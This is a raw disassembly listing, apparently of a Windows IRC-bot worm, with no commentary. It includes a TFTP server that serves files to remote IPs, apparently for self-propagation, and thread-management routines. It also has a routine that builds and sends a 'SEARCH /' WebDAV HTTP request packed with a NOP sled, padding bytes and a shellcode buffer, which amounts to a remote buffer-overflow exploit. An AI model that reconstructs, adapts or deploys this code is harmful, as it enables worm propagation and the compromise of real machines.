var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 884h
		mov	edx, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+74h+var_1C]
		movsd
		movsw
		xor	ebx, ebx
		push	ebx
		xor	eax, eax
		inc	eax
		mov	esi, edx
		push	2
		mov	ecx, 0A9h
		lea	edi, [ebp+74h+var_37C]
		rep movsd
		inc	[ebp+74h+var_16C]
		push	2
		mov	[ebp+74h+var_10], eax
		mov	[edx+2A0h], eax
		call	dword_4357E8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+74h+var_4], esi
		jnz	short loc_412065
		push	190h
		call	ds:dword_420000	; Sleep
		call	dword_4358A0	; WSAGetLastError
		push	eax
		lea	eax, [ebp+74h+var_780]
		push	offset aTftpErrorSocke ; "[TFTP]: Error: socket() failed, returne"...
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		cmp	[ebp+74h+var_E0], ebx
		jnz	short loc_412048
		push	ebx
		push	[ebp+74h+var_E4]
		lea	eax, [ebp+74h+var_780]
		push	eax
		lea	eax, [ebp+74h+var_164]
		push	eax
		push	[ebp+74h+var_37C]
		call	sub_4056FB
		add	esp, 14h


loc_412048:				; CODE XREF: sub_411FA9+7Dj
		lea	eax, [ebp+74h+var_780]
		push	eax
		call	sub_401EFF
		push	[ebp+74h+var_170]
		call	sub_412735
		pop	ecx
		jmp	loc_41244E
; ---------------------------------------------------------------------------


loc_412065:				; CODE XREF: sub_411FA9+52j
		mov	eax, [ebp+74h+var_170]
		push	[ebp+74h+var_168]
		imul	eax, 234h
		mov	dword_43668C[eax], esi
		xor	eax, eax
		lea	edi, [ebp+74h+var_44]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+74h+var_44], 2
		call	dword_435934	; ntohs
		mov	[ebp+74h+var_42], ax
		push	10h
		lea	eax, [ebp+74h+var_44]
		push	eax
		push	esi
		mov	[ebp+74h+var_40], ebx
		call	dword_4358C0	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4120C4
		push	1388h
		call	ds:dword_420000	; Sleep
		dec	[ebp+74h+var_16C]
		push	[ebp+74h+arg_0]
		jmp	loc_412462
; ---------------------------------------------------------------------------


loc_4120C4:				; CODE XREF: sub_411FA9+100j
		lea	eax, [ebp+74h+var_378]
		push	offset dword_420978
		push	eax
		call	sub_414DC3
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+74h+var_8], eax
		jnz	short loc_41213D
		push	190h
		call	ds:dword_420000	; Sleep
		lea	eax, [ebp+74h+var_378]
		push	eax
		lea	eax, [ebp+74h+var_780]
		push	offset aTftpFailedToOp ; "[TFTP]: Failed to open file: %s."
		push	eax
		call	sub_4145E5
		push	ebx
		push	[ebp+74h+var_E4]
		lea	eax, [ebp+74h+var_780]
		push	eax
		lea	eax, [ebp+74h+var_164]
		push	eax
		push	[ebp+74h+var_37C]
		call	sub_4056FB
		lea	eax, [ebp+74h+var_780]
		push	eax
		call	sub_401EFF
		push	[ebp+74h+var_170]
		call	sub_412735
		add	esp, 28h
		jmp	loc_41244F
; ---------------------------------------------------------------------------


loc_41213D:				; CODE XREF: sub_411FA9+133j
		mov	esi, 200h


loc_412142:				; CODE XREF: sub_411FA9+471j
		mov	edi, [ebp+74h+arg_0]
		cmp	[edi+2A0h], ebx
		jz	loc_412423
		mov	eax, [ebp+74h+var_4]
		push	20h
		pop	ecx
		mov	[ebp+74h+var_880], eax
		xor	eax, eax
		lea	edi, [ebp+74h+var_D8]
		rep stosd
		lea	eax, [ebp+74h+var_34]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+74h+var_884]
		push	eax
		push	ebx
		mov	[ebp+74h+var_34], 5
		mov	[ebp+74h+var_30], 1388h
		mov	[ebp+74h+var_884], 1
		call	dword_43588C	; select
		test	eax, eax
		jle	loc_412417
		xor	eax, eax
		mov	edx, 80h
		mov	[ebp+74h+var_580], bl
		mov	ecx, edx
		lea	edi, [ebp+74h+var_57F]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+74h+var_C]
		push	eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	ebx
		push	edx
		lea	eax, [ebp+74h+var_D8]
		push	eax
		push	[ebp+74h+var_4]
		mov	[ebp+74h+var_C], 10h
		call	dword_435780	; recvfrom
		push	[ebp+74h+var_28]
		mov	[ebp+74h+var_10], eax
		call	dword_435868	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+var_58]
		push	eax
		call	sub_4145E5
		cmp	[ebp+74h+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_4123FF
		cmp	[ebp+74h+var_D7], 1
		jnz	loc_41235A
		lea	eax, [ebp+74h+var_274]
		lea	edx, [eax+1]


loc_412204:				; CODE XREF: sub_411FA9+260j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_412204
		sub	eax, edx
		mov	[ebp+74h+var_14], eax
		lea	eax, [ebp+74h+var_274]
		lea	edi, [eax+1]


loc_412219:				; CODE XREF: sub_411FA9+275j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_412219
		sub	eax, edi
		push	eax
		lea	eax, [ebp+74h+var_D6]
		push	eax
		lea	eax, [ebp+74h+var_274]
		push	eax
		call	sub_415EE0
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_412318
		lea	eax, [ebp+74h+var_1C]
		lea	edx, [eax+1]


loc_412244:				; CODE XREF: sub_411FA9+2A0j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_412244
		sub	eax, edx
		push	eax
		mov	eax, [ebp+74h+var_14]
		lea	eax, [ebp+eax+74h+var_D5]
		push	eax
		lea	eax, [ebp+74h+var_1C]
		push	eax
		call	sub_415EE0
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_412318
		push	ebx
		push	ebx
		push	[ebp+74h+var_8]
		call	sub_416257
		push	[ebp+74h+var_8]
		lea	eax, [ebp+74h+var_57C]
		push	esi
		push	1
		push	eax
		mov	[ebp+74h+var_580], bl
		mov	[ebp+74h+var_57F], 3
		mov	[ebp+74h+var_57E], bl
		mov	[ebp+74h+var_57D], 1
		call	sub_414B6E
		add	esp, 1Ch
		push	[ebp+74h+var_C]
		lea	ecx, [ebp+74h+var_2C]
		push	ecx
		mov	[ebp+74h+var_10], eax
		push	ebx
		add	eax, 4
		push	eax
		lea	eax, [ebp+74h+var_580]
		push	eax
		push	[ebp+74h+var_4]
		call	dword_4357B8	; sendto
		lea	eax, [ebp+74h+var_378]
		push	eax
		lea	eax, [ebp+74h+var_58]
		push	eax
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	started	to IP: %s"...


loc_4122D2:				; CODE XREF: sub_411FA9+451j
		lea	eax, [ebp+74h+var_780]
		push	eax
		call	sub_4145E5
		add	esp, 10h
		cmp	[ebp+74h+var_E0], ebx
		jnz	short loc_412306
		push	ebx
		push	[ebp+74h+var_E4]
		lea	eax, [ebp+74h+var_780]
		push	eax
		lea	eax, [ebp+74h+var_164]
		push	eax
		push	[ebp+74h+var_37C]
		call	sub_4056FB
		add	esp, 14h


loc_412306:				; CODE XREF: sub_411FA9+33Bj
		lea	eax, [ebp+74h+var_780]
		push	eax
		call	sub_401EFF
		pop	ecx
		jmp	loc_412417
; ---------------------------------------------------------------------------


loc_412318:				; CODE XREF: sub_411FA9+28Fj
					; sub_411FA9+2BBj
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_4288FC
		push	[ebp+74h+var_4]
		call	dword_4357B8	; sendto
		lea	eax, [ebp+74h+var_274]
		push	eax
		lea	eax, [ebp+74h+var_58]
		push	eax
		lea	eax, [ebp+74h+var_D8]
		push	offset aTftpFileNotFou ; "[TFTP]: File not found: %s (%s)."
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+74h+var_D8]
		push	eax
		call	sub_401EFF
		add	esp, 14h
		jmp	loc_412417
; ---------------------------------------------------------------------------


loc_41235A:				; CODE XREF: sub_411FA9+24Cj
		cmp	[ebp+74h+var_D7], 4
		jnz	loc_4123FF
		mov	cl, [ebp+74h+var_D5]
		cmp	cl, 0FFh
		mov	al, [ebp+74h+var_D6]
		mov	[ebp+74h+var_580], bl
		mov	[ebp+74h+var_57F], 3
		jnz	short loc_412388
		inc	al
		xor	cl, cl
		mov	[ebp+74h+var_57D], bl
		jmp	short loc_412390
; ---------------------------------------------------------------------------


loc_412388:				; CODE XREF: sub_411FA9+3D1j
		inc	cl
		mov	[ebp+74h+var_57D], cl


loc_412390:				; CODE XREF: sub_411FA9+3DDj
		mov	[ebp+74h+var_57E], al
		movzx	eax, al
		shl	eax, 8
		movzx	ecx, cl
		add	eax, ecx
		shl	eax, 9
		push	ebx
		sub	eax, esi
		push	eax
		push	[ebp+74h+var_8]
		call	sub_416257
		push	[ebp+74h+var_8]
		lea	eax, [ebp+74h+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_414B6E
		add	esp, 1Ch
		push	[ebp+74h+var_C]
		mov	edi, eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	ebx
		lea	eax, [edi+4]
		push	eax
		lea	eax, [ebp+74h+var_580]
		push	eax
		push	[ebp+74h+var_4]
		mov	[ebp+74h+var_10], edi
		call	dword_4357B8	; sendto
		cmp	edi, ebx
		jnz	short loc_412417
		lea	eax, [ebp+74h+var_378]
		push	eax
		lea	eax, [ebp+74h+var_58]
		push	eax
		push	offset aTftpFileTran_0 ; "[TFTP]: File transfer	complete to IP:	%"...
		jmp	loc_4122D2
; ---------------------------------------------------------------------------


loc_4123FF:				; CODE XREF: sub_411FA9+242j
					; sub_411FA9+3B5j
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_42889C
		push	[ebp+74h+var_4]
		call	dword_4357B8	; sendto


loc_412417:				; CODE XREF: sub_411FA9+1E9j
					; sub_411FA9+36Aj ...
		cmp	[ebp+74h+var_10], ebx
		jg	loc_412142
		mov	edi, [ebp+74h+arg_0]


loc_412423:				; CODE XREF: sub_411FA9+1A2j
		push	[ebp+74h+var_4]
		call	dword_4358F4	; closesocket
		push	[ebp+74h+var_8]
		call	sub_4149C3
		dec	[ebp+74h+var_16C]
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_412456
		push	[ebp+74h+var_170]
		call	sub_412735


loc_41244E:				; CODE XREF: sub_411FA9+B7j
		pop	ecx


loc_41244F:				; CODE XREF: sub_411FA9+18Fj
		push	ebx
		call	ds:dword_420014	; ExitThread


loc_412456:				; CODE XREF: sub_411FA9+498j
		push	3E8h
		call	ds:dword_420000	; Sleep
		push	edi


loc_412462:				; CODE XREF: sub_411FA9+116j
		call	sub_411FA9
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 74h
		leave
		retn	4
sub_411FA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_412471	proc near		; CODE XREF: sub_401141+F0p
					; sub_401141+23Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_436480


loc_412479:				; CODE XREF: sub_412471+18j
		cmp	byte ptr [eax],	0
		jz	short loc_41248D
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_47B210
		jl	short loc_412479
		jmp	short loc_4124D8
; ---------------------------------------------------------------------------


loc_41248D:				; CODE XREF: sub_412471+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_436480[esi]
		push	eax
		call	sub_414670
		mov	eax, [esp+14h+arg_4]
		and	dword_436684[esi], 0
		and	dword_436688[esi], 0
		mov	dword_436680[esi], eax
		mov	eax, [esp+14h+arg_8]
		add	esp, 0Ch
		and	byte_436698[esi], 0
		mov	dword_43668C[esi], eax
		pop	esi


loc_4124D8:				; CODE XREF: sub_412471+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_412471	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4124DC	proc near		; CODE XREF: sub_412772+31p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aThreadList ; "-[Thread List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_436480


loc_412506:				; CODE XREF: sub_4124DC+78j
		cmp	byte ptr [esi],	0
		jz	short loc_412547
		cmp	[ebp+arg_C], 0
		jnz	short loc_41251A
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_412547


loc_41251A:				; CODE XREF: sub_4124DC+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4145E5
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 24h


loc_412547:				; CODE XREF: sub_4124DC+2Dj
					; sub_4124DC+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_47B210
		jl	short loc_412506
		pop	edi
		pop	esi
		leave
		retn
sub_4124DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41255A	proc near		; CODE XREF: sub_408A18+3CA6p
					; sub_4125E2+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_4125DC
		cmp	esi, 1F4h
		jge	short loc_4125DC
		imul	esi, 234h
		push	edi
		push	ebx
		lea	edi, dword_436694[esi]
		push	dword ptr [edi]
		call	ds:dword_4200F0	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_41258C
		inc	ebp


loc_41258C:				; CODE XREF: sub_41255A+2Fj
		mov	[edi], ebx
		lea	edi, dword_436688[esi]
		mov	eax, [edi]
		cmp	eax, ebx
		mov	dword_436680[esi], ebx
		mov	dword_436684[esi], ebx
		jbe	short loc_4125AD
		push	eax
		call	sub_4085E4
		pop	ecx


loc_4125AD:				; CODE XREF: sub_41255A+4Aj
		mov	[edi], ebx
		lea	edi, dword_43668C[esi]
		push	dword ptr [edi]
		mov	byte ptr dword_436480[esi], bl
		mov	byte_436698[esi], bl
		call	dword_4358F4	; closesocket
		lea	esi, dword_436690[esi]
		push	dword ptr [esi]
		mov	[edi], ebx
		call	dword_4358F4	; closesocket
		mov	[esi], ebx
		pop	edi


loc_4125DC:				; CODE XREF: sub_41255A+Dj
					; sub_41255A+15j
		pop	esi
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_41255A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125E2	proc near		; CODE XREF: sub_402E99+18p
					; sub_408A18+3C5Fp ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_436480


loc_4125EE:				; CODE XREF: sub_4125E2+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_4125FF
		push	edi
		call	sub_41255A
		test	eax, eax
		pop	ecx
		jz	short loc_4125FF
		inc	ebx


loc_4125FF:				; CODE XREF: sub_4125E2+Fj
					; sub_4125E2+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_47B210
		jl	short loc_4125EE
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_4125E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412614	proc near		; CODE XREF: sub_4126A7+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_436684


loc_412628:				; CODE XREF: sub_412614+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_41264A
		test	edi, edi
		jle	short loc_41263C
		cmp	[esi], edi
		jz	short loc_41263C
		cmp	ebx, edi
		jnz	short loc_41264A


loc_41263C:				; CODE XREF: sub_412614+1Ej
					; sub_412614+22j
		push	ebx
		call	sub_41255A
		test	eax, eax
		pop	ecx
		jz	short loc_41264A
		inc	[ebp+var_4]


loc_41264A:				; CODE XREF: sub_412614+1Aj
					; sub_412614+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_47B414
		jl	short loc_412628
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412614	endp


; =============== S U B	R O U T	I N E =======================================



sub_412661	proc near		; CODE XREF: sub_4010CA+Bp
					; sub_401141+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_436680


loc_412668:				; CODE XREF: sub_412661+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_412671
		inc	eax


loc_412671:				; CODE XREF: sub_412661+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_47B410
		jl	short loc_412668
		retn
sub_412661	endp


; =============== S U B	R O U T	I N E =======================================



sub_412680	proc near		; CODE XREF: sub_408A18+45A5p

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	edx, edx
		mov	ecx, offset dword_436680
		push	esi


loc_41268A:				; CODE XREF: sub_412680+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_4126A3
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_47B410
		jl	short loc_41268A
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4126A3:				; CODE XREF: sub_412680+10j
		mov	eax, edx
		pop	esi
		retn
sub_412680	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4126A7	proc near		; CODE XREF: sub_408A18+1EDDp
					; sub_408A18+4CE4p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_4126C0
		push	[ebp+arg_1C]
		call	sub_414972
		pop	ecx


loc_4126C0:				; CODE XREF: sub_4126A7+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_412614
		test	eax, eax
		pop	ecx
		pop	ecx
		jle	short loc_4126EC
		push	eax
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4145E5
		add	esp, 14h
		jmp	short loc_412706
; ---------------------------------------------------------------------------


loc_4126EC:				; CODE XREF: sub_4126A7+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4145E5
		add	esp, 10h


loc_412706:				; CODE XREF: sub_4126A7+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_412726
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 14h


loc_412726:				; CODE XREF: sub_4126A7+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401EFF
		pop	ecx
		leave
		retn
sub_4126A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_412735	proc near		; CODE XREF: sub_401967+227p
					; sub_401B9D+244p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		imul	eax, 234h
		xor	ecx, ecx
		mov	dword_436694[eax], ecx
		mov	dword_436680[eax], ecx
		mov	dword_436684[eax], ecx
		mov	dword_436688[eax], ecx
		mov	dword_43668C[eax], ecx
		mov	dword_436690[eax], ecx
		mov	byte ptr dword_436480[eax], cl
		mov	byte_436698[eax], cl
		retn
sub_412735	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_412772	proc near		; DATA XREF: sub_408A18+4B38o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 98h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_98]
		rep movsd
		push	[ebp+74h+var_10]
		mov	dword ptr [eax+94h], 1
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_4124DC
		push	[ebp+74h+var_14]
		call	sub_412735
		add	esp, 14h
		push	0
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_412772	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127BC	proc near		; CODE XREF: sub_401967+1F8p
					; DATA XREF: .data:off_42B06Co

var_1210	= byte ptr -1210h
var_11AC	= byte ptr -11ACh
var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_98		= byte ptr  0A0h
arg_124		= dword	ptr  12Ch
arg_12C		= dword	ptr  134h
arg_134		= dword	ptr  13Ch
arg_138		= dword	ptr  140h

		push	ebp
		mov	ebp, esp
		mov	eax, 1210h
		call	sub_414800
		push	6
		push	1
		push	2
		call	dword_4357E8	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_4127E1
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4127E1:				; CODE XREF: sub_4127BC+1Fj
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_124]
		call	dword_435934	; ntohs
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_43585C	; inet_addr
		push	186A0h
		call	sub_414E7D
		mov	edi, 1000h
		push	edi
		mov	ebx, eax
		call	sub_414E7D
		pop	ecx
		pop	ecx
		push	offset byte_42BF44
		push	[ebp+arg_0]
		mov	esi, eax
		mov	[ebp+var_C], esi
		call	sub_407D51
		pop	ecx
		push	eax
		push	edi
		push	esi
		call	sub_410CE6
		add	esp, 10h
		test	eax, eax
		mov	[ebp+var_8], eax
		jnz	short loc_412856
		push	ebx
		call	sub_414A14
		push	esi
		call	sub_414A14
		pop	ecx
		pop	ecx
		push	[ebp+var_10]


loc_412849:				; CODE XREF: sub_4127BC+27Bj
		call	dword_4358F4	; closesocket
		xor	eax, eax
		jmp	loc_412AD6
; ---------------------------------------------------------------------------


loc_412856:				; CODE XREF: sub_4127BC+7Aj
		push	19h
		mov	eax, 90909090h
		pop	ecx
		lea	edi, [ebp+var_1210]
		rep stosd
		mov	ecx, [ebp+var_8]
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp+var_11AC]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	eax, eax
		mov	ecx, 61A8h
		mov	edi, ebx
		rep stosd
		mov	esi, offset aSearch ; "SEARCH /"
		mov	edi, ebx
		movsd
		movsd
		mov	eax, ebx
		movsb
		lea	esi, [eax+1]


loc_412897:				; CODE XREF: sub_4127BC+E0j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_412897
		sub	eax, esi
		mov	esi, eax
		lea	edx, [esi+1]
		lea	eax, [esi+866h]
		cmp	edx, eax
		mov	byte ptr [esi+ebx], 90h
		jnb	short loc_4128D5
		sub	eax, edx
		dec	eax
		shr	eax, 1
		inc	eax
		mov	ecx, eax
		mov	[ebp+var_4], ecx
		shr	ecx, 1
		lea	edi, [edx+ebx]
		mov	eax, 0B102B102h
		rep stosd
		adc	ecx, ecx
		rep stosw
		mov	eax, [ebp+var_4]
		lea	edx, [edx+eax*2]


loc_4128D5:				; CODE XREF: sub_4127BC+F5j
		mov	eax, offset loc_42C480
		mov	edi, eax
		lea	ecx, [edi+1]
		mov	[ebp+var_4], ecx


loc_4128E2:				; CODE XREF: sub_4127BC+12Bj
		mov	cl, [edi]
		inc	edi
		test	cl, cl
		jnz	short loc_4128E2
		sub	edi, [ebp+var_4]
		jmp	short loc_412903
; ---------------------------------------------------------------------------


loc_4128EE:				; CODE XREF: sub_4127BC+155j
		lea	ecx, [edi+1]
		mov	byte ptr [edx+ebx], 90h
		inc	edx
		mov	[ebp+var_4], ecx


loc_4128F9:				; CODE XREF: sub_4127BC+142j
		mov	cl, [edi]
		inc	edi
		test	cl, cl
		jnz	short loc_4128F9
		sub	edi, [ebp+var_4]


loc_412903:				; CODE XREF: sub_4127BC+130j
		mov	ecx, esi
		sub	ecx, edi
		add	ecx, 0FFFFh
		cmp	edx, ecx
		mov	edi, eax
		jb	short loc_4128EE
		lea	esi, [edi+1]


loc_412916:				; CODE XREF: sub_4127BC+15Fj
		mov	cl, [edi]
		inc	edi
		test	cl, cl
		jnz	short loc_412916
		sub	edi, esi
		mov	ecx, edi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [edx+ebx]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, ebx
		dec	edi


loc_412937:				; CODE XREF: sub_4127BC+181j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_412937
		mov	esi, offset aHttp1_1 ; " HTTP/1.1\r\n"
		movsd
		movsd
		movsd
		mov	esi, offset a?xmlVersion1_0 ; "<?xml version=\"1.0\"?>\r\n<g:searchrequest"...
		mov	eax, esi
		lea	edi, [eax+1]


loc_412951:				; CODE XREF: sub_4127BC+19Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_412951
		sub	eax, edi
		mov	edi, eax
		mov	eax, ebx
		lea	ecx, [eax+1]


loc_412961:				; CODE XREF: sub_4127BC+1AAj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_412961
		sub	eax, ecx
		mov	ecx, [ebp+var_8]
		add	edi, ecx
		push	edi
		lea	ecx, [ebp+arg_4]
		push	ecx
		add	eax, ebx
		push	offset aHostSContentTy ; "Host:	%s\r\nContent-Type: text/xml\r\nConte"...
		push	eax
		call	sub_4145E5
		add	esp, 10h
		mov	eax, esi


loc_412986:				; CODE XREF: sub_4127BC+1CFj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_412986
		mov	edi, ebx
		sub	eax, esi
		dec	edi


loc_412992:				; CODE XREF: sub_4127BC+1DCj
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_412992
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		mov	eax, ebx
		rep movsb
		lea	esi, [eax+1]


loc_4129AD:				; CODE XREF: sub_4127BC+1F6j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4129AD
		sub	eax, esi
		mov	ecx, eax
		mov	eax, 1010101h
		lea	edi, [ecx+ebx]
		stosb
		mov	eax, ebx
		lea	esi, [eax+1]


loc_4129C6:				; CODE XREF: sub_4127BC+20Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4129C6
		sub	eax, esi
		mov	ecx, eax
		mov	eax, 90909090h
		lea	edi, [ecx+ebx]
		stosw
		stosb
		mov	eax, ebx
		lea	esi, [eax+1]


loc_4129E1:				; CODE XREF: sub_4127BC+22Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4129E1
		mov	ecx, [ebp+var_8]
		sub	eax, esi
		lea	edi, [eax+ebx]
		mov	eax, ecx
		shr	ecx, 2
		lea	esi, [ebp+var_1210]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		mov	eax, ebx
		rep movsb
		lea	esi, [eax+1]


loc_412A09:				; CODE XREF: sub_4127BC+252j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_412A09
		sub	eax, esi
		mov	esi, [ebp+var_10]
		xor	edi, edi
		push	edi
		push	eax
		push	ebx
		push	esi
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412A3C
		push	ebx
		call	sub_414A14
		push	[ebp+var_C]
		call	sub_414A14
		pop	ecx
		pop	ecx
		push	esi
		jmp	loc_412849
; ---------------------------------------------------------------------------


loc_412A3C:				; CODE XREF: sub_4127BC+268j
		push	edi
		push	1388h
		push	ebx
		push	esi
		call	dword_43575C	; recv
		push	ebx
		call	sub_414A14
		push	[ebp+var_C]
		call	sub_414A14
		pop	ecx
		pop	ecx
